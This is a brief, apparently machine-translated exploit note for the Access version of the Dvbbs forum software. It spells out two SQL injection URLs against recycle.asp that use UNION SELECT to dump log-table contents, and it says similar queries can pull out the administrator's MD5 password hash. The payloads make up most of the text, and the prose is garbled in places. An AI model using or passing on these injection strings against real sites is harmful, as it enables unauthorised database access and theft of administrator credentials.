Research on the ultimate Dafa-loophole in Access version of dynamic network

Note: You need to get front desk administrator privileges to use

recycle.asp?tablename=dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_id=5% specified in the article 20UNION%20SELECT%201,1,1,1,1,1%20FROM%20DV_BBS1&PAGE=2000 (the ID of the last page of the Recycle Bin), which refers to the value of the transform l_id= ' to burst out the value of l_concent only one content can be violent at a time, Look at the database table of the moving net, as long as the specified l_announceid=0 can all burst out, the statement so constructed Recycle.asp?tablename=dv_bbs1%20union%20select%201,1,l_content, 1,1,1%20from%20dv_log%20where%20l_announceid=0%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000 Hey , is not all burst out, constructs the appropriate statement may burst out the administrator the backstage MD5 value and so on content. Another note: The content of the burst out data field is the last page of the Recycle Bin post!